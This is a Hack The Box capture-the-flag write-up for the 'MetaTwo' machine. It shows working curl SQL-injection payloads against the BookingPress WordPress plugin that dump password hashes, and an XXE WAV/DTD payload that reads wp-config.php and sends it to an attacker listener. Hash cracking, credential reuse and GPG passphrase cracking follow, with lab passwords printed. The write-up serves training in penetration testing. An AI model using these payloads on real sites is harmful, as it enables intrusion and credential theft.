Post

HTB • MetaTwo

MetaTwo is an easy Linux machine created by Nauten on Hack the Box that involves exploiting a vulnerable Wordpress site as an unauthenticated user with CVE-2022-0739 to recover the credentials for an account that can login and upload media. This account is then used to exploit CVE-2021-29447 and read the Wordpress configuration file, which contains credentials that can be used on the exposed FTP server. The FTP server stores another set of credentials which we can use to login as the user jnelson. This user uses a password management utility known as PassPie to store credentials under GPG encryption. We are able to crack the master password used to encrypt these credentials and read the password for the user root.

Initial Recon

Let’s first set up our environment and run a TCP port scan with this custom nmap wrapper.

1
2
3
4
# bryan@attacker
rhost="" # replace with machine address
echo rhost=$rhost >> .env && . ./.env
ctfscan $rhost

The scan reports the following ports as open:

PortServiceProductVersion
21FTPProFTPD 
22SSHOpenSSH8.4p1 Debian 5+deb11u1
80HTTPnginx1.18.0

Web

We get redirected to http://metapress.htb/ when visiting the site on port 80 in our browser so we’ll add metapress.htb to /etc/hosts.

1
2
3
4
echo 'rhost=10.10.11.186' >> .env
echo 'vhost=("metapress.htb")' >> .env
. ./.env
echo -e "$rhost\\t$vhost" | sudo tee -a /etc/hosts

Home page

The home page has a link pointing to http://metapress.htb/events/ where one can supposedly signup to be notified for a launch event.

Booking Events

Navigating to the events page and viewing the source, we find loads of references to files in the /wp-content/ directory which indicates that this is a Wordpress site. Some of these links point us to the CSS and javascript source of a plugin which can be identified by the name bookingpress-appointment-booking. The files referenced in the plugin folder are marked with the query string ver=1.0.10, meaning the plugin version is likely 1.0.10.

CVE-2022-0739

After some research, we find that the installation of the plugin bookingpress-appointment-booking on the target Wordpress site is vulnerable to CVE-2022-0739. The WPScan Wordpress plugin vulnerability database has a page dedicated to this vulnerability with an insightful description:

The plugin fails to properly sanitize user supplied POST data before it is used in a dynamically constructed SQL query via the bookingpress_front_get_category_services AJAX action (available to unauthenticated users), leading to an unauthenticated SQL Injection

Since this vulnerability can be exploited by unauthenticated users, it provides the opportunity to extract vital information from the database such as credentials.

Exploitation

There is a detailed proof-of-concept for the vulnerability on the WPScan page that uses curl. We just need to replace the _wpnonce parameter with a nonce from the target booking form.

1
2
3
nonce="6811748a6e" # Here's a nonce I found in /events/
curl -s "http://$vhost/wp-admin/admin-ajax.php" \
  --data "action=bookingpress_front_get_category_services&_wpnonce=$nonce&category_id=33&total_service=-7502) UNION ALL SELECT @@version,@@version_comment,@@version_compile_os,1,2,3,4,5,6-- -"

We get some JSON in response with what appears to be the actual version of the database, meaning the exploit worked. Now to get some more important data, we fetch the usernames and hashes from the wp_users table.

1
2
curl -s "http://$vhost/wp-admin/admin-ajax.php" \
  --data "action=bookingpress_front_get_category_services&_wpnonce=$nonce&category_id=33&total_service=-1) UNION ALL SELECT group_concat(user_pass),group_concat(user_login),0,1,2,3,4,5,6 FROM wp_users-- -"

We are able to extract two user entries.

UsernameHash
admin$P$BGrGrgf2wToBS79i07Rk9sN4Fzk.TV.
manager$P$B4aNM28N0E.tMy/JIcnVMZbGcU16Q70

Let’s try to crack these hashes with John the Ripper

1
2
admin:$P$BGrGrgf2wToBS79i07Rk9sN4Fzk.TV.
manager:$P$B4aNM28N0E.tMy/JIcnVMZbGcU16Q70
1
john --wordlist=$rockyou_path ./hashes.txt

Using the classic rockyou.txt wordlist, we are able to recover the password partylikearockstar for the user manager. With these credentials we can authenticate on the website at /wp-login.php.

Wordpress

Since we were able to find one piece of outdated software, it wouldn’t unusual for another vulnerable product to be present. For starters we could find the Wordpress core version by looking for the meta generator tag in the HTML source, or just visiting the about page now that we have a valid account.

Wordpress about page

Wordpress 5.6.2 is pretty outdated with dozens of vulnerabilities listed on the WPScan website. One in particular, tracked as CVE-2021-29447, seems like it could help us as long as PHP 8 is in use.

CVE-2021-29447

The vulnerability in question involves XXE, which could enable us to read local files. We’ll use info from this GitHub repository to successfully exploit the vulnerability.

First we create the exploit file to upload:

1
2
3
lhost="10.10.14.10" # listener host
lport_web="80" # The port we'll serve the .dtd file on (HTTP)
echo -en 'RIFF\xb8\x00\x00\x00WAVEiXML\x7b\x00\x00\x00<?xml version="1.0"?><!DOCTYPE ANY[<!ENTITY % remote SYSTEM '"\"http://$lhost:$lport_web/xxe.dtd\""'>%remote;%init;%trick;]>\x00' > upload.wav

Now we’ll look for a file to read. The most useful for our purpose might be the main Wordpress configuration since it usually contains database credentials or other goodies. we can find it at ../wp-config.php since the exploit is evaluated in the /wp-admin/ folder.

Serve the payload that will read the Wordpress config:

1
2
3
file="file:///proc/self/cwd/../wp-config.php" # This is just '../wp-config.php'
echo -en '<!ENTITY % file SYSTEM "php://filter/zlib.deflate/read=convert.base64-encode/resource='"$file"'"><!ENTITY % init "<!ENTITY &#37; trick SYSTEM '"'http://$lhost:$lport_web/?f=%file;'"'>">' > xxe.dtd
python3 -m http.server --bind $lhost $lport_web

Finally, we upload the target file, upload.wav to the media library.

Media library upload

We may get an error, but it doesn’t matter because we got a promising callback. Back in our web server log we get the compressed and encoded file in the query string. Let’s copy that to a file and decode it.

1
jVVZU/JKEH2+VvkfhhKMoARUQBARAoRNIEDCpgUhIRMSzEYyYVP87TdBBD71LvAANdNzTs/p6dMPaUMyTk9CgQBgJAg0ToVAFwFy/gsc4njOgkDUTdDVTaFhQssCgdDpiQBFWYMXAMtn2TpRI7ErgPGKPsGAP3l68glXW9HN6gHEtqC5Rf9+vk2Trf9x3uAsa+Ek8eN8g6DpLtXKuxix2ygxyzDCzMwteoX28088SbfQr2mUKJpxIRR9zClu1PHZ/FcWOYkzLYgA0t0LAVkDYxNySNYmh0ydHwVa+A+GXIlo0eSWxEZiXOUjxxSu+gcaXVE45ECtDIiDvK5hCIwlTps4S5JsAVl0qQXd5tEvPFS1SjDbmnwR7LcLNFsjmRK1VUtEBlzu7nmIYBr7kqgQcYZbdFxC/C9xrvRuXKLep1lZzhRWVdaI1m7q88ov0V8KO7T4fyFnCXr/qEK/7NN01dkWOcURa6/hWeby9AQEAGE7z1dD8tgpjK6BtibPbAie4MoCnCYAmlOQhW8jM5asjSG4wWN42F04VpJoMyX2iew7PF8fLO159tpFKkDElhQZXV4ZC9iIyIF1Uh2948/3vYy/2WoWeq+51kq524zMXqeYugXa4+WtmsazoftvN6HJXLtFssdM2NIre/18eMBfj20jGbkb9Ts2F6qUZr5AvE3EJoMwv9DJ7n3imnxOSAOzq3RmvnIzFjPEt9SA832jqFLFIplny/XDVbDKpbrMcY3I+mGCxxpDNFrL80dB2JCk7IvEfRWtNRve1KYFWUba2bl2WerNB+/v5GXhI/c2e+qtvlHUqXqO/FMpjFZh3vR6qfBUTg4Tg8Doo1iHHqOXyc+7fERNkEIqL1zgZnD2NlxfFNL+O3VZb08S8RhqUndU9BvFViGaqDJHFC9JJjsZh65qZ34hKr6UAmgSDcsik36e49HuMjVSMnNvcF4KPHzchwfWRng4ryXxq2V4/dF6vPXk/6UWOybscdQhrJinmIhGhYqV9lKRtTrCm0lOnXaHdsV8Za+DQvmCnrYooftCn3/oqlwaTju59E2wnC7j/1iL/VWwyItID289KV+6VNaNmvE66fP6Kh6cKkN5UFts+kD4qKfOhxWrPKr5CxWmQnbKflA/q1OyUBZTv9biD6Uw3Gqf55qZckuRAJWMcpbSvyzM4s2uBOn6Uoh14Nlm4cnOrqRNJzF9ol+ZojX39SPR60K8muKrRy61bZrDKNj7FeNaHnAaWpSX+K6RvFsfZD8XQQpgC4PF/gAqOHNFgHOo6AY0rfsjYAHy9mTiuqqqC3DXq4qsvQIJIcO6D4XcUfBpILo5CVm2YegmCnGm0/UKDO3PB2UtuA8NfW/xboPNk9l28aeVAIK3dMVG7txBkmv37kQ8SlA24Rjp5urTfh0/vgAe8AksuA82SzcIpuRI53zfTk/+Ojzl3c4VYNl8ucWyAAfYzuI2X+w0RBawjSPCuTN3tu7lGJZiC1AAoryfMiac2U5CrO6a2Y7AhV0YQWdYudPJwp0x76r/Nw==
1
php -r "echo zlib_decode(base64_decode('$(cat wp-config.php.z.b64)'));" | tee wp-config.php

The contents of the configuration file reveal two passwords for two different services:

ServiceUsernamePassword
MySQLblog635Aq@TdqrCwXFUZ
FTPmetapress.htb9NYS_ii@FyL_p5M2NvJ

Let’s see if the FTP credentials are valid on the exposed FTP server.

1
ftp "ftp://metapress.htb@$rhost:21"

They are! After a little bit of lag we are prompted for a password, where we enter 9NYS_ii@FyL_p5M2NvJ and successfully login.

FTP

There are two folders we can access: blog and mailer. Let’s assume that the blog folder is just the wordpress source, which probably won’t help us at this point. Instead, we visit the mailer directory, finding the file send_email.php along with the PHPMailer library source.

We’ll download and inspect the file at mailer/send_email.php to check for any useful information.

1
2
3
4
5
6
$mail->Host = "mail.metapress.htb";
$mail->SMTPAuth = true;                          
$mail->Username = "jnelson@metapress.htb";                 
$mail->Password = "Cb4_JmWM8zUZWMu@Ys";                           
$mail->SMTPSecure = "tls";                           
$mail->Port = 587;

We find a block of code that contains a password, Cb4_JmWM8zUZWMu@Ys associated with the username jnelson@metapress.htb, or just jnelson. At this point we feel confident that we have valid credentials to login via SSH.

1
pwncat-cs ssh://jnelson@$rhost # Install: `python3 -m pip install pwncat-cs`

The login is successful and we establish a pwncat session as jnelson where we can toggle the shell (CTRL+CD) and read the user flag at /home/jnelson/user.txt.

Remote Access

Just looking around the filesystem, we come across an unusual directory at /home/jnelson/.passpie. It turns out, this directory is generated by a tool called passpie which is used to manage passwords.

Passpie

Let’s check for stored credentials by running simply passpie in our shell session.

NameLoginPasswordComment
sshjnelsonHidden 
sshrootHidden 

It looks like the password for the root account is stored. We cannot directly export these credentials though, because they are encrypted using GPG. We might be able to crack the GPG key to recover the password depending on how weak the master password is.

Recover Master Password

Let’s download what looks like the public and private keys from /home/jnelson/.passpie/.keys using the scp command or PwnCat’s download command. Once we have the file downloaded on our own machine, we’ll separate the public and private keys.

1
cat .keys | grep PRIVATE -A99 > private.pem

Using gpg2john from John the Ripper, we generate a hash that can be properly ingested and potentially cracked from the private key file private.pem.

1
gpg2john ./private.pem > passpie.john

Finally, we’ll try to crack the hash with this wordlist.

1
john --wordlist="100k-most-used-passwords-NCSC.txt" passpie.john

We successfully recover the master password: blink182

Export Credentials

Now that we have the master password, we can export the root password in plain text.

1
2
# jnelson@metapress.htb (SSH)
passpie export creds.txt

The file creds.txt now contains the root password which we use to login as root using the su command. The root flag can be found at /root/root.txt as usual.

This post is licensed under CC BY 4.0 by the author.